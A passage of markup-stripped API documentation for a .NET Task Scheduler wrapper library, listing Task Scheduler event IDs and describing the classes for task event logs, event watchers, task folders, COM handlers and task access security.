documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of 